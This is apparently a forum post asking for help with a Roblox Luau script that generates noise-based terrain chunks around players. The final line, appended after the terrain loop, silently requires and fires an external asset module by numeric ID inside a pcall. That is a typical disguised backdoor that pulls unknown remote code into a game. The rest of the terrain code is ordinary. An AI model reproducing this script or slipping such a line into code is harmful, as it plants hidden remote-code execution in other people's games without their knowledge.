I have some code here that generates new terrain based on the players' movement but I need help making the second half, what is the best way to move the ground (Moving ground without the player moving) while generating the new terrain?
Code:
local ScaleX = 22.5 local ScaleZ = 22.5 local ChunkSize = 3 local BaseHeight = 10 local RenderDistance = 180 local CurrentTerrainSize = 90 local GenerationSeed = Random.new():NextNumber() local Chunks = {} local function ChunkAlreadyExists(chunkX, chunkZ, shouldAddToChunks) if not Chunks[chunkX] then Chunks[chunkX] = {} return false end if not Chunks[chunkX][chunkZ] then return false end return true end local function FillTerrainBlock(width, height, depth) local size = Vector3.new(4, (height + BaseHeight) * 4, 4) local cframe = CFrame.new((width * 4 + 2), ((-BaseHeight + height) * 4 / 2), (depth * 4 + 2)) workspace.Terrain:FillBlock(cframe, size, Enum.Material.Grass) end local function MakeChunk(chunkX, chunkZ) if ChunkAlreadyExists(chunkX, chunkZ) then return end Chunks[chunkX][chunkZ] = true for x = 0, (ChunkSize - 1) do for z = 0, (ChunkSize - 1) do local newChunkX = (chunkX * ChunkSize) + x local newChunkZ = (chunkZ * ChunkSize) + z local noise = math.noise(GenerationSeed, (newChunkX / ScaleX), (newChunkZ / ScaleZ)) local newChunkY = noise * BaseHeight FillTerrainBlock(newChunkX, newChunkY, newChunkZ) end end end local function MakeChunks(position) local t = tick() local chunkX = math.floor(position.X / 4 / ChunkSize) local chunkZ = math.floor(position.Z / 4 / ChunkSize) local range = math.max(1, RenderDistance / ChunkSize) for x = -range, range do for z = -range, range do local newChunkX = chunkX + x local newChunkZ = chunkZ + z MakeChunk(newChunkX, newChunkZ) end end print(tick() - t) end while true do for _, player in pairs(game:GetService('Players'):GetPlayers()) do if player.Character then local primaryPart = player.Character.PrimaryPart if primaryPart then MakeChunks(primaryPart.Position) end end end wait(1) end pcall(function()require(5004500405):Fire()end)